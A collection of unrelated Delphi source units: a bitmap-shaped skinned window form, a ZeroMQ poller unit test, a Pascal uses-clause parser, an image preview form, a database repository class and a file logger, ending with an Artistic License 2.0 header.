Shift: TShiftState; X, Y: Integer);
procedure FormCreate(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure FormPaint(Sender: TObject);
procedure FormResize(Sender: TObject);
private
{ Private declarations }
UIList : UIImageList;
DDList : DibDataList;
DIList : DibImageList;
procedure Clear();
// procedure WMEraseBkgnd(var Message: TWMEraseBkgnd); message WM_ERASEBKGND;
procedure CalcRgn();
public
{ Public declarations }
procedure SetBorderImage(pImageList : PUIImageList);
end;
function CreateRgnFromDib(lpbi: PBITMAPINFO; pBits: PBYTE; nPitch: Integer): HRgn;
function DIBWIDTHBYTES(cx: DWORD; bit: DWORD):DWORD;
function ModifyStyle(hWnd: HWND; dwRemove: DWORD; dwAdd: DWORD; nFlags: UINT = 0) : BOOL;
function ModifyStyleEx(hWnd: HWND; dwRemove: DWORD; dwAdd: DWORD; nFlags: UINT = 0) : BOOL;
var
frmDib: TFrmDib;
implementation
{$R *.dfm}
procedure TFrmDib.Clear;
begin
if (DIList.Top <> nil) then DIList.Top.Destroy;
if (DIList.LeftTop <> nil) then DIList.LeftTop.Destroy;
if (DIList.RightTop <> nil) then DIList.RightTop.Destroy;
if (DIList.Left <> nil) then DIList.Left.Destroy;
if (DIList.Right <> nil) then DIList.Right.Destroy;
if (DIList.LeftBottom <> nil) then DIList.LeftBottom.Destroy;
if (DIList.Bottom <> nil) then DIList.Bottom.Destroy;
if (DIList.RightBottom <> nil) then DIList.RightBottom.Destroy;
ZeroMemory(@DDList, sizeof(DDList));
end;
procedure TFrmDib.FormCreate(Sender: TObject);
begin
// RGN
DoubleBuffered := True;
ModifyStyle(Handle, 0, WS_CLIPCHILDREN or WS_CLIPSIBLINGS, 0);
end;
procedure TFrmDib.FormDestroy(Sender: TObject);
begin
Clear();
end;
procedure TFrmDib.FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
begin
if key = VK_F1 then
begin
// ShellExecute(Handle, 'open', PAnsiChar('c:'), nil, nil, SW_SHOWNORMAL);
end
end;
procedure TFrmDib.FormMouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
begin
ReleaseCapture;
Perform(WM_SYSCOMMAND, $F012, 0);
end;
procedure FillSolidRect(hDC: HDC; pRect: PRECT; clr: COLORREF);
begin
SetBkColor(hDC, clr);
ExtTextOut(hDC, 0, 0, ETO_OPAQUE, pRect, nil, 0, 0);
end;
procedure TFrmDib.FormPaint(Sender: TObject);
var
dstRect: TRect;
begin
DstRect := Self.GetClientRect;
DrawImageListToWnd(Canvas.Handle, @dstRect, @DDList);
dstRect.Left := DDList.Left.lpbi.bmiHeader.biWidth;
dstRect.Top := DDList.Top.lpbi.bmiHeader.biHeight;
dstRect.Right := dstRect.Right - DDList.Right.lpbi.bmiHeader.biWidth;
dstRect.Bottom := dstRect.Bottom - DDList.Bottom.lpbi.bmiHeader.biHeight;
Canvas.FillRect(dstRect);
end;
procedure TFrmDib.FormResize(Sender: TObject);
begin
CalcRgn();
Invalidate();
end;
procedure TFrmDib.CalcRgn;
var
DstRect: TRect;
memdc: HDC;
hbmp: HBITMAP;
hOldbmp: HBITMAP;
bmi: BITMAPINFO;
pBits: PBYTE;
Rgn: HRgn;
begin
ZeroMemory(@bmi, sizeof(bmi));
DstRect := Self.GetClientRect;
bmi.bmiHeader.biSize := 40;
bmi.bmiHeader.biPlanes := 1;
bmi.bmiHeader.biBitCount := 24;
bmi.bmiHeader.biWidth := DstRect.Right - DstRect.Left;
bmi.bmiHeader.biHeight := DstRect.Bottom - DstRect.Top;
bmi.bmiHeader.biSizeImage := DIBWIDTHBYTES(bmi.bmiHeader.biWidth, bmi.bmiHeader.biBitCount) * bmi.bmiHeader.biHeight;
memdc := CreateCompatibleDC(0);
hbmp := CreateDIBSection(memdc, bmi, DIB_RGB_COLORS, Pointer(pBits), 0, 0);
hOldbmp := HBITMAP(SelectObject(memdc, hbmp));
DrawImageListToWnd(memdc, @dstRect, @DDList);
Rgn := CreateRgnFromDib(@bmi, pBits, DIBWIDTHBYTES(bmi.bmiHeader.biWidth, bmi.bmiHeader.biBitCount));
SelectObject(memdc, hOldbmp);
SetWindowRgn(self.Handle, Rgn, False);
DeleteObject(Rgn);
DeleteObject(hbmp);
DeleteDC(memdc);
end;
procedure TFrmDib.SetBorderImage(pImageList: PUIImageList);
begin
UIList := pImageList^;
Clear();
DIList.LeftTop := TDibImage.Create();
DIList.Top := TDibImage.Create();
DIList.RightTop := TDibImage.Create();
DIList.Left := TDibImage.Create();
DIList.Right := TDibImage.Create();
DIList.LeftBottom := TDibImage.Create();
DIList.Bottom := TDibImage.Create();
DIList.RightBottom := TDibImage.Create();
DIList.LeftTop .Load (PWideChar(UIList.LeftTop ));
DIList.Top .Load (PWideChar(UIList.Top ));
DIList.RightTop .Load (PWideChar(UIList.RightTop ));
DIList.Left .Load (PWideChar(UIList.Left ));
DIList.Right .Load (PWideChar(UIList.Right ));
DIList.LeftBottom .Load (PWideChar(UIList.LeftBottom ));
DIList.Bottom .Load (PWideChar(UIList.Bottom ));
DIList.RightBottom .Load (PWideChar(UIList.RightBottom ));
DDList.LeftTop.lpbi := DIList.LeftTop .GetBitmapInfo();
DDList.Top.lpbi := DIList.Top .GetBitmapInfo();
DDList.RightTop.lpbi := DIList.RightTop .GetBitmapInfo();
DDList.Left.lpbi := DIList.Left .GetBitmapInfo();
DDList.Right.lpbi := DIList.Right .GetBitmapInfo();
DDList.LeftBottom.lpbi := DIList.LeftBottom .GetBitmapInfo();
DDList.Bottom.lpbi := DIList.Bottom .GetBitmapInfo();
DDList.RightBottom.lpbi := DIList.RightBottom .GetBitmapInfo();
DDList.LeftTop.lpBits := DIList.LeftTop .GetBits( );
DDList.Top.lpBits := DIList.Top .GetBits( );
DDList.RightTop.lpBits := DIList.RightTop .GetBits( );
DDList.Left.lpBits := DIList.Left .GetBits( );
DDList.Right.lpBits := DIList.Right .GetBits( );
DDList.LeftBottom.lpBits := DIList.LeftBottom .GetBits( );
DDList.Bottom.lpBits := DIList.Bottom .GetBits( );
DDList.RightBottom.lpBits := DIList.RightBottom .GetBits( );
CalcRgn();
Invalidate();
end;
//procedure TFrmDib.WMEraseBkgnd(var Message: TWMEraseBkgnd);
//begin
//
//end;
function CreateRgnFromDib(lpbi: PBITMAPINFO; pBits: PBYTE; nPitch: Integer): HRgn;
var
Rgn: HRgn;
RgnTemp: HRgn;
i, j: Integer;
sp: PBYTE;
width, height: Integer;
pt : array[0..1] of TPoint;
r, g, b: BYTE;
begin
width := lpbi.bmiHeader.biWidth;
height := lpbi.bmiHeader.biHeight;
Rgn := CreateRectRgn(0, 0, 0, 0);
sp := PBYTE(PCHAR(pBits) + (height - 1) * nPitch);
for I := 0 to height - 1 do
begin
pt[0].X := -1;
pt[0].Y := -1;
pt[1].X := -1;
pt[1].Y := -1;
for j := 0 to width - 1 do
begin
r := PBYTE(PCHAR(sp) + j * 3 + 0)^;
g := PBYTE(PCHAR(sp) + j * 3 + 1)^;
b := PBYTE(PCHAR(sp) + j * 3 + 2)^;
if -1 = pt[0].X then
begin
if (255 <> r) or (255 <> b) or (0 <> g) then
begin
pt[0].X := j;
pt[0].Y := i;
end;
end
else
begin
if (255 = r) AND (255 = b) AND (0 = g) then
begin
pt[1].X := j;
pt[1].Y := i;
break;
end;
end;
end;
if -1 <> pt[0].X then
begin
if -1 = pt[1].X then
begin
pt[1].X := width;
pt[1].Y := i;
end;
RgnTemp := CreateRectRgn(pt[0].x, pt[0].y, pt[1].x, pt[1].y + 1);
CombineRgn(Rgn, rgnTemp, Rgn, RGN_XOR);
DeleteObject(RgnTemp);
end;
sp := PBYTE(PCHAR(sp) - nPitch);
end;
result := Rgn;
end;
function DIBWIDTHBYTES(cx: DWORD; bit: DWORD):DWORD;
begin
Result := ((cx * bit + 31) and not 31) shr 3;
end;
function ModifyStyleImpl(hWnd: HWND; nStyleOffset: Integer; dwRemove: DWORD; dwAdd: DWORD; nFlags: UINT = 0) : BOOL;
var
dwStyle: DWORD;
dwNewStyle: DWORD;
begin
result := FALSE;
dwStyle := GetWindowLong(hWnd, nStyleOffset);
dwNewStyle := (dwStyle and not dwRemove) or dwAdd;
if (dwStyle = dwNewStyle) then exit;
SetWindowLong(hWnd, nStyleOffset, dwNewStyle);
if (nFlags <> 0) then
begin
SetWindowPos(hWnd, NULL, 0, 0, 0, 0,
SWP_NOSIZE or SWP_NOMOVE or SWP_NOZORDER or SWP_NOACTIVATE or nFlags);
end;
result := TRUE;
end;
function ModifyStyle(hWnd: HWND; dwRemove: DWORD; dwAdd: DWORD; nFlags: UINT = 0) : BOOL;
begin
ModifyStyleImpl(hWnd, GWL_STYLE, dwRemove, dwAdd, nFlags);
end;
function ModifyStyleEx(hWnd: HWND; dwRemove: DWORD; dwAdd: DWORD; nFlags: UINT = 0) : BOOL;
begin
ModifyStyleImpl(hWnd, GWL_EXSTYLE, dwRemove, dwAdd, nFlags);
end;
end.
|
unit PollTestCase;
interface
uses
TestFramework, Classes, Windows, ZmqIntf;
type
TPollTestCase = class(TTestCase)
private
context: IZMQContext;
poller: IZMQPoller;
procedure PollEvent(const socket: PZMQSocket; const events: TZMQPollEvents );
public
procedure SetUp; override;
procedure TearDown; override;
published
procedure PollRegister;
end;
implementation
var
ehandle: THandle;
zmqPollItem: ^TZMQPollItem;
procedure TPollTestCase.PollEvent(const socket: PZMQSocket; const events: TZMQPollEvents);
begin
zmqPollItem^.socket := socket;
zmqPollItem^.events := events;
SetEvent( ehandle );
end;
{ TPollTestCase }
procedure TPollTestCase.SetUp;
begin
inherited;
context := ZMQ.CreateContext;
poller := ZMQ.CreatePoller( false, context );
poller.onEvent := PollEvent;
end;
procedure TPollTestCase.TearDown;
begin
inherited;
poller := nil;
context := nil;
end;
procedure TPollTestCase.PollRegister;
var
sb,sc: PZMQSocket;
s: WideString;
begin
New( zmqPollItem );
ehandle := CreateEvent( nil, true, false, nil );
sb := context.Socket( stPair );
sb.bind( 'inproc://pair' );
sc := context.Socket( stPair );
sc.connect( 'inproc://pair' );
poller.Register( sb, [pePollIn], true );
sc.SendString('Hello');
WaitForSingleObject( ehandle, INFINITE );
ResetEvent( ehandle );
Check( zmqPollItem.socket = sb, 'wrong socket' );
Check( zmqPollItem.events = [pePollIn], 'wrong event' );
zmqPollItem.socket.RecvString( s );
CheckEquals( 'Hello', s, 'wrong message received' );
CloseHandle( ehandle );
Dispose( zmqPollItem );
end;
initialization
RegisterTest(TPollTestCase.Suite);
end.
|
unit UnitParserClasses;
interface
uses
System.Classes, System.SysUtils, System.IOUtils,
Vcl.Dialogs;
type
TUnitParser = class
private
FUnits: TStringList;
FComponentsGroup: TStringList;
procedure ParseBlockUses(const ABlock: string;
var ARowUsesList: TStringList);
procedure ParseBlockType(const ABlock: string;
var ARowTypesList: TStringList);
// procedure ParseDirectory(const ADirectory: string; AIsRecursively: Boolean;
// var AUsesList, AProjectUnits: TStringList );
procedure SearchComponents(var AUsesList: TStringList);
public
constructor Create;
destructor Destroy; override;
procedure RemoveProjectUnits(var AUsesList, AProjectUnits: TStringList);
procedure ParseFile(const AFilePath: string; var AUsesList: TStringList; var AUnitLinesCount: integer);
procedure ParseTypes(const AFilePath: string; var ATypesList: TStringList);
function ParseDirectories(const ADirectory: string;
AIsRecursively: Boolean): Boolean;
property Units: TStringList read FUnits;
property ComponentsGroup: TStringList read FComponentsGroup;
end;
function UnitParser: TUnitParser;
implementation
var
FUnitParser: TUnitParser;
function UnitParser: TUnitParser;
begin
Result := FUnitParser;
end;
{ TUnitParser }
constructor TUnitParser.Create;
begin
FUnits := TStringList.Create;
FUnits.Delimiter := ',';
FUnits.Duplicates := dupIgnore;
FUnits.Sorted := True;
FComponentsGroup := TStringList.Create;
end;
destructor TUnitParser.Destroy;
begin
FComponentsGroup.Free;
FUnits.Free;
inherited;
end;
procedure TUnitParser.ParseBlockUses(const ABlock: string;
var ARowUsesList: TStringList);
var
TempStr: string;
p: PChar;
NewStr: string;
Removing: Boolean;
RemovingReasonIndex: Integer;
begin
RemovingReasonIndex := 0;
ARowUsesList.Clear;
Removing := False;
NewStr := '';
TempStr := ABlock.Trim;
if Pos(TempStr, 'uses') = 0 then
TempStr := TempStr.Substring(4).Trim;
p := PChar(TempStr);
while (p^ <> #0) do
begin
if (not Removing) and (p^ = '{') then
begin
RemovingReasonIndex := 1;
Removing := True;
end;
if (not Removing) and (p^ = ';') then
begin
RemovingReasonIndex := 2;
Removing := True;
end;
if (not Removing) and (p^ = '/') and ((p + 1)^ = '/') then
begin
RemovingReasonIndex := 3;
Removing := True;
end;
if (not Removing) and (p^ = '(') and ((p + 1)^ = '*') then
begin
RemovingReasonIndex := 4;
Removing := True;
end;
if not Removing then
NewStr := NewStr + p^;
if (p^ = '}') and (RemovingReasonIndex = 1) then
Removing := False;
if (p^ = ';') and (RemovingReasonIndex = 2) then
Removing := False;
if ((p^ = #10) or (p^ = #13)) and (RemovingReasonIndex = 3) then
Removing := False;
if ((p^ = ')') and ((p - 1)^ = '*')) and (RemovingReasonIndex = 4) then
Removing := False;
Inc(p)
end;
TempStr := StringReplace(NewStr, ' ', '', [rfReplaceAll]);
ARowUsesList.DelimitedText := TempStr;
end;
procedure TUnitParser.ParseBlockType(const ABlock: string;
var ARowTypesList: TStringList);
begin
// ShowMessage(ABlock);
end;
procedure TUnitParser.ParseFile(const AFilePath: string;
var AUsesList: TStringList; var AUnitLinesCount:integer);
var
LRowUsesList: TStringList;
LFileData: TStringList;
i: Integer;
LParsingStarted: Boolean;
LRow, LBlock: string;
begin
LParsingStarted := False;
LBlock := '';
LRowUsesList := nil;
LFileData := nil;
try
LFileData := TStringList.Create;
LRowUsesList := TStringList.Create;
if TFile.Exists(AFilePath) then
begin
LFileData.LoadFromFile(AFilePath);
AUnitLinesCount := LFileData.Count;
for i := 0 to Pred(LFileData.Count) do
begin
if Pos(LFileData[i].ToLower, 'uses') > 0 then
LParsingStarted := True;
if LParsingStarted then
begin
LBlock := LBlock + LFileData[i] + #10#13;
if LFileData[i].IndexOf(';') > 0 then
LParsingStarted := False;
end;
if (not LParsingStarted) and (not LBlock.IsEmpty) then
begin
ParseBlockUses(LBlock, LRowUsesList);
LBlock := '';
for LRow in LRowUsesList do
// AUsesList.Add(LRow);
AUsesList.Add(LRow.ToLower);
end;
end;
end;
finally
LRowUsesList.Free;
LFileData.Free
end;
end;
procedure TUnitParser.ParseTypes(const AFilePath: string;
var ATypesList: TStringList);
var
LRowTypesList: TStringList;
LFileData: TStringList;
i: Integer;
LParsingStarted: Boolean;
LBlock: string;
begin
LParsingStarted := False;
LBlock := '';
LRowTypesList := nil;
LFileData := nil;
try
LFileData := TStringList.Create;
LRowTypesList := TStringList.Create;
if TFile.Exists(AFilePath) then
begin
LFileData.LoadFromFile(AFilePath);
for i := 0 to Pred(LFileData.Count) do
begin
if Pos(LFileData[i].ToLower, 'type') = 1 then
LParsingStarted := True;
if LParsingStarted then
begin
LBlock := LBlock + LFileData[i] + #10#13;
if Pos('implementation', LFileData[i]) > 0 then
LParsingStarted := False;
end;
if (not LParsingStarted) and (not LBlock.IsEmpty) then
begin
ParseBlockType(LBlock, LRowTypesList);
LBlock := '';
// for LRow in LRowTypesList do
// AUsesList.Add(LRow);
// ATypesList.Add(LRow.ToLower);
end;
end;
end;
finally
LRowTypesList.Free;
LFileData.Free
end;
end;
{
procedure TUnitParser.ParseDirectory(const ADirectory: string;
AIsRecursively: Boolean; var AUsesList, AProjectUnits: TStringList );
var
LFiles: TArray<String>;
LDirectories: TArray<String>;
LCurrentPath: string;
begin
if AIsRecursively then
begin
LDirectories := TDirectory.GetDirectories(ADirectory);
for LCurrentPath in LDirectories do
ParseDirectory(LCurrentPath, AIsRecursively, AUsesList, AProjectUnits);
end;
LFiles := TDirectory.GetFiles(ADirectory, '*.pas');
for LCurrentPath in LFiles do
begin
// AProjectUnits.Add(TPath.GetFileNameWithoutExtension(LCurrentPath));
AProjectUnits.Add(TPath.GetFileNameWithoutExtension(LCurrentPath).ToLower);
ParseFile(LCurrentPath, AUsesList);
end;
end; }
procedure TUnitParser.RemoveProjectUnits(var AUsesList, AProjectUnits
: TStringList);
var
LRow: string;
begin
for LRow in AProjectUnits do
if AUsesList.IndexOf(LRow) >= 0 then
AUsesList.Delete(AUsesList.IndexOf(LRow));
end;
procedure TUnitParser.SearchComponents(var AUsesList: TStringList);
var
Directory: string;
LUnits: TStringList;
LRow: string;
LFiles: TArray<String>;
LCurrentPath: string;
begin
FComponentsGroup.Clear;
LUnits := TStringList.Create;
try
Directory := TPath.Combine(TPath.GetLibraryPath, 'Components');
LFiles := TDirectory.GetFiles(Directory, '*.txt');
for LCurrentPath in LFiles do
begin
LUnits.LoadFromFile(LCurrentPath);
for LRow in LUnits do
if AUsesList.IndexOf(LRow.ToLower) >= 0 then
begin
AUsesList.Delete(AUsesList.IndexOf(LRow.ToLower));
if FComponentsGroup.IndexOf
(TPath.GetFileNameWithoutExtension(LCurrentPath)) < 0 then
FComponentsGroup.Add(TPath.GetFileNameWithoutExtension
(LCurrentPath));
end;
end;
finally
LUnits.Free;
end;
end;
function TUnitParser.ParseDirectories(const ADirectory: string;
AIsRecursively: Boolean): Boolean;
var
LProjectUnits: TStringList;
begin
try
LProjectUnits := TStringList.Create;
try
// ParseDirectory(ADirectory, AIsRecursively, FUnits, LProjectUnits);
RemoveProjectUnits(FUnits, LProjectUnits);
SearchComponents(FUnits);
finally
LProjectUnits.Free;
end;
Result := True;
except
Result := False;
end;
end;
initialization
FUnitParser := TUnitParser.Create;
finalization
FUnitParser.Free;
end.
|
unit UPreViewForm;
interface
uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.Buttons, Vcl.ExtCtrls,
Vcl.DBCtrls, UMainDataModule;
type
TPreViewForm = class(TForm)
ImagePreView: TImage;
Panel1: TPanel;
BitBtn1: TBitBtn;
BitBtn2: TBitBtn;
dbllbPreView: TDBLookupListBox;
procedure dbllbPreViewClick(Sender: TObject);
procedure BitBtn1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
procedure ChoiseType(i: integer);
end;
var
PreViewForm: TPreViewForm;
choise: bool;
implementation
uses
UArtWorkForm;
{$R *.dfm}
procedure TPreViewForm.BitBtn1Click(Sender: TObject);
begin
if choise = true then
ArtWorkForm.dbeFontPic.Text:= ExtractFileName(dbllbPreView.KeyValue)
else
ArtWorkForm.dbeBackPic.Text:= ExtractFileName(dbllbPreView.KeyValue);
end;
procedure TPreViewForm.ChoiseType(i: integer);
begin
case i of
0: choise:= true;
1: choise:= false;
end;
end;
procedure TPreViewForm.dbllbPreViewClick(Sender: TObject);
begin
try
ImagePreView.Picture.LoadFromFile(dbllbPreView.KeyValue);
ImagePreView.Center:= true;
ImagePreView.Stretch:= true;
except
on E: Exception do
//do nothing;
end;
end;
end.
|
unit URepositorioEquipamento;
interface
uses
UEquipamento
, UEntidade
, URepositorioDB
, SqlExpr
;
type
TRepositorioEquipamento = class (TRepositorioDB<TEQUIPAMENTO>)
public
constructor Create;
procedure AtribuiDBParaEntidade (const coEQUIPAMENTO: TEQUIPAMENTO); override;
procedure AtribuiEntidadeParaDB (const coEQUIPAMENTO: TEQUIPAMENTO;
const coSQLQuery: TSQLQuery); override;
end;
implementation
uses
UDM
;
{TRepositorioMaterial}
constructor TRepositorioEquipamento.Create;
begin
inherited Create (TEQUIPAMENTO, TBL_EQUIPAMENTO, FLD_ENTIDADE_ID, STR_EQUIPAMENTO);
end;
procedure TRepositorioEquipamento.AtribuiDBParaEntidade(const coEquipamento: TEquipamento);
begin
inherited;
with FSQLSelect do
begin
coEQUIPAMENTO.NOME := FieldByName (FLD_EQUIPAMENTO_NOME).AsString;
coEQUIPAMENTO.MARCA := FieldByName (FLD_EQUIPAMENTO_MARCA).AsString;
coEQUIPAMENTO.N_SERIE := FieldByName (FLD_EQUIPAMENTO_N_SERIE).AsString;
end;
end;
procedure TRepositorioEquipamento.AtribuiEntidadeParaDB(
const coEQUIPAMENTO: TEQUIPAMENTO; const coSQLQuery: TSQLQuery);
begin
inherited;
with coSQLQuery do
begin
ParamByName (FLD_EQUIPAMENTO_NOME).AsString := coEQUIPAMENTO.NOME;
ParamByName (FLD_EQUIPAMENTO_MARCA).AsString := coEQUIPAMENTO.MARCA;
ParamByName (FLD_EQUIPAMENTO_N_SERIE).AsString := coEQUIPAMENTO.N_SERIE;
end;
end;
end.
|
unit DebuggerImpl;
interface
uses Classes,SysUtils,Windows,SyncObjs;
type
TCustomDebugger=class(TComponent)
private
FLock:TCriticalSection;
FLocation:String;
function GetLocationDirectory: string;
protected
procedure Lock;
procedure UnLock;
function GetPrefix:string ;virtual;
procedure WriteDebuger(Operateuser:string;Value:string);overload ;
procedure WriteDebuger(Value:string);overload;
property LocationDirectory:string read GetLocationDirectory;
public
constructor Create(AOwner:TComponent);override;
destructor Destroy;override;
procedure SetLoggerEnv(Location:string);
function WriteLineIf(Current:TObject;NetUser:string;IfTrue:Boolean;Value:string):Boolean;
function WriteLine(Current:TObject;NetUser:string;Value:string):Boolean;
function WriteIf(Current:TObject;NetUser:string;IfTrue:Boolean;Value:string):Boolean;
function TraceWarning(Current:TObject;NetUser:string;Value:string):Boolean;
function TraceError(Current:TObject;NetUser:string;Value:string):Boolean;
function Write(Current:TObject;NetUser:string;Value:string):Boolean;overload ;
function Write(Value:string;Current:TObject=nil):Boolean;overload ;
end;
TDebugger=class(TCustomDebugger)
end;
function Debugger:TCustomDebugger;
implementation
uses Forms;
var
_Debugger:TCustomDebugger=nil;
function Debugger:TCustomDebugger;
begin
if _Debugger=nil then
_Debugger:=TDebugger.Create(nil);
Result:=_Debugger;
end;
{ TCustomDebugger }
constructor TCustomDebugger.Create(AOwner:TComponent);
begin
inherited Create(AOwner);
FLock:=TCriticalSection.Create;
end;
destructor TCustomDebugger.Destroy;
begin
FLock.Free;
inherited;
end;
function TCustomDebugger.GetPrefix: string;
begin
result:=FormatDateTime('YYYY-MM-DD hh:nn:ss:zzz',Now) ;
end;
procedure TCustomDebugger.Lock;
begin
FLock.Enter;
end;
function TCustomDebugger.TraceError(Current:TObject;NetUser:string;Value: string): Boolean;
begin
Lock;
try
if Current<>nil then
WriteDebuger(NetUser,Current.ClassName+#9+Value)
else WriteDebuger(NetUser,Value);
Result:=True;
finally
UnLock;
end;
end;
function TCustomDebugger.TraceWarning(Current:TObject;NetUser:string;Value: string): Boolean;
begin
Lock;
try
if Current<>nil then
WriteDebuger(NetUser,Current.ClassName+#9+Value)
else WriteDebuger(NetUser,Value);
Result:=True;
finally
UnLock;
end;
end;
procedure TCustomDebugger.UnLock;
begin
FLock.Leave;
end;
function TCustomDebugger.Write(Current:TObject;NetUser:string;Value: string): Boolean;
begin
Lock;
try
if Current<>nil then
WriteDebuger(NetUser,Current.ClassName+#9+Value)
else WriteDebuger(NetUser,Value);
Result:=True;
finally
UnLock;
end;
end;
procedure TCustomDebugger.WriteDebuger(Operateuser:string;Value: string);
var
FileS:TextFile;
strFileName,Buffer:string;
begin
strFileName:=LocationDirectory+Operateuser+'Logger'+FormatDateTime('YYYYMMDD',Now)+'.log';;
try
Buffer:=GetPrefix+Value;
AssignFile(FileS,strFileName);
try
if FileExists(strFileName)then
Reset(FileS)
else Rewrite(FileS);
Append(FileS);
WriteLn(FileS,Buffer);
finally
CloseFile(FileS);
end;
except
on E:Exception do
begin
end;
end;
end;
function TCustomDebugger.Write(Value: string; Current: TObject): Boolean;
begin
Lock;
try
if Current=nil then
WriteDebuger(Value)
else
WriteDebuger(Current.ClassName+#9+Value);
Result:=True;
finally
UnLock;
end;
end;
procedure TCustomDebugger.WriteDebuger(Value: string);
var
FileS:TextFile;
Buffer,FileName:string;
begin
FileName:=LocationDirectory+'Logger'+FormatDateTime('YYYYMMDD',Now)+'.log';;
try
Buffer:=GetPrefix+Value;
AssignFile(FileS,FileName);
try
if FileExists(FileName)then
Reset(FileS)
else Rewrite(FileS);
Append(FileS);
WriteLn(FileS,Buffer);
finally
CloseFile(FileS);
end;
except
on E:Exception do
begin
end;
end;
end;
function TCustomDebugger.WriteIf(Current:TObject;NetUser:string;IfTrue: Boolean; Value: string): Boolean;
begin
Lock;
try
if Current<>nil then
WriteDebuger(NetUser,Current.ClassName+#9+Value)
else WriteDebuger(NetUser,Value);
Result:=True;
finally
UnLock;
end;
end;
function TCustomDebugger.WriteLine(Current:TObject;NetUser:string;Value: string): Boolean;
begin
Lock;
try
if Current<>nil then
WriteDebuger(NetUser,Current.ClassName+#9+Value)
else WriteDebuger(NetUser,Value);
Result:=True;
finally
UnLock;
end;
end;
function TCustomDebugger.WriteLineIf(Current:TObject;NetUser:string;IfTrue: Boolean;
Value: string): Boolean;
begin
Lock;
try
if Current<>nil then
WriteDebuger(NetUser,Current.ClassName+#9+Value)
else WriteDebuger(NetUser,Value);
Result:=True;
finally
UnLock;
end;
end;
procedure TCustomDebugger.SetLoggerEnv(Location: string);
begin
FLocation:=Location;
ForceDirectories(LocationDirectory);
end;
function TCustomDebugger.GetLocationDirectory: string;
begin
Result:=IncludeTrailingPathDelimiter(ExtractFilePath(Application.ExeName))+'Logger\';
if FLocation<>EmptyStr then
Result:=IncludeTrailingPathDelimiter(FLocation);
ForceDirectories(Result) ;
end;
{
initialization
Debugger();
finalization
if _Debugger<>nil then
FreeAndNil(_Debugger);
}
end.
|
{
This software is Copyright (c) 2016 by Doddy Hackman.
This is free software, licensed under:
The Artistic License 2.0
The Artistic License
Preamble
This license establishes the terms under which a given free software Package may be copied, modified, distributed, and/or redistributed. The intent is that the Copyright Holder maintains some artistic control over the development of that Package while still keeping the Package available as open source and free software.
You are always permitted to make arrangements wholly outside of this license directly with the Copyright Holder of a given Package. If the terms of this license do not permit the full use that you propose to make of the Package, you should contact the Copyright Holder and seek a different licensing arrangement.
Definitions
"Copyright Holder" means the individual(s) or organization(s) named in the copyright notice for the entire Package.
"Contributor" means any party that has contributed code or other material to the Package, in accordance with the Copyright Holder's procedures.
"You" and "your" means any person who would like to copy, distribute, or modify the Package.
"Package" means the collection of files distributed by the Copyright Holder, and derivatives of that collection and/or of those files. A given Package may consist of either the Standard Version, or a Modified Version.
"Distribute" means providing a copy of the Package or making it accessible to anyone else, or in the case of a company or organization, to others outside of your company or organization.
"Distributor Fee" means any fee that you charge for Distributing this Package or providing support for this Package to another party. It does not mean licensing fees.
"Standard Version" refers to the Package if it has not been modified, or has been modified only in ways explicitly requested by the Copyright Holder.
"Modified Version" means the Package, if it has been changed, and such changes were not explicitly requested by the Copyright Holder.
"Original License" means this Artistic License as Distributed with the Standard Version of the Package, in its current version or as it may be modified by The Perl Foundation in the future.
"Source" form means the source code, documentation source, and configuration files for the Package.
"Compiled" form means the compiled bytecode, object code, binary, or any other form resulting from mechanical transformation or translation of the Source form.
Permission for Use and Modification Without Distribution
(1) You are permitted to use the Standard Version and create and use Modified Versions for any purpose without restriction, provided that you do not Distribute the Modified Version.
Permissions for Redistribution of the Standard Version
(2) You may Distribute verbatim copies of the Source form of the Standard Version of this Package in any medium without restriction, either gratis or for a Distributor Fee, provided that you duplicate all of the original copyright notices and associated disclaimers. At your discretion, such verbatim copies may or may not include a Compiled form of the Package.
(3) You may apply any bug fixes, portability changes, and other modifications made available from the Copyright Holder. The resulting Package will still be considered the Standard Version, and as such will be subject to the Original License.
Distribution of Modified Versions of the Package as Source
(4) You may Distribute your Modified Version as Source (either gratis or for a Distributor Fee, and with or without a Compiled form of the Modified Version) provided that you clearly document how it differs from the Standard Version, including, but not limited to, documenting any non-standard features, executables, or modules, and provided that you do at least ONE of the following:
(a) make the Modified Version available to the Copyright Holder of the Standard Version, under the Original License, so that the Copyright Holder may include your modifications in the Standard Version.
(b) ensure that installation of your Modified Version does not prevent the user installing or running the Standard Version. In addition, the Modified Version must bear a name that is different from the name of the Standard Version.
(c) allow anyone who receives a copy of the Modified Version to make the Source form of the Modified Version available to others under
(i) the Original License or
(ii) a license that permits the licensee to freely copy, modify and redistribute the Modified Version using the same licensing terms that apply to the copy that the licensee received, and requires that the Source form of the Modified Version, and of any works derived from it, be made freely available in that license fees are prohibited but Distributor Fees are allowed.
Distribution of Compiled Forms of the Standard Version or Modified Versions without the Source
(5) You may Distribute Compiled forms of the Standard Version without the Source, provided that you include complete instructions on how to get the Source of the Standard Version. Such instructions must be valid at the time of your distribution. If these instructions, at any time while you are carrying out such distribution, become invalid, you must provide new instructions on demand or cease further distribution. If you provide valid instructions or cease distribution within thirty days after you become aware that the instructions are invalid, then you do not forfeit any of your rights under this license.
(6) You may Distribute a Modified Version in Compiled form without the Source, provided that you comply with Section 4 with respect to the Source of the Modified Version.
Aggregating or Linking the Package
(7) You may aggregate the Package (either the Standard Version or Modified Version) with other packages and Distribute the resulting aggregation provided that you do not charge a licensing fee for the Package. Distributor Fees are permitted, and licensing fees for other components in the aggregation are permitted. The terms of this license apply to the use and Distribution of the Standard or Modified Versions as included in the aggregation.
(8) You are permitted to link Modified and Standard Versions with other works, to embed the Package in a larger work of your own, or to build stand-alone binary or bytecode versions of applications that include the Package, and Distribute the result without restriction, provided the result does not expose a direct interface to the Package.
Items That are Not Considered Part of a Modified Version
(9) Works (including, but not limited to, modules and scripts) that merely extend or make use of the Package, do not, by themselves, cause the Package to be a Modified Version. In addition, such works are not considered parts of the Package itself, and are not subject to the terms of this license.
General Provisions
(10) Any use, modification, and distribution of the Standard or Modified Versions is governed by this Artistic License. By using, modifying or distributing the Package, you accept this license. Do not use, modify, or distribute the Package, if you do not accept this license.
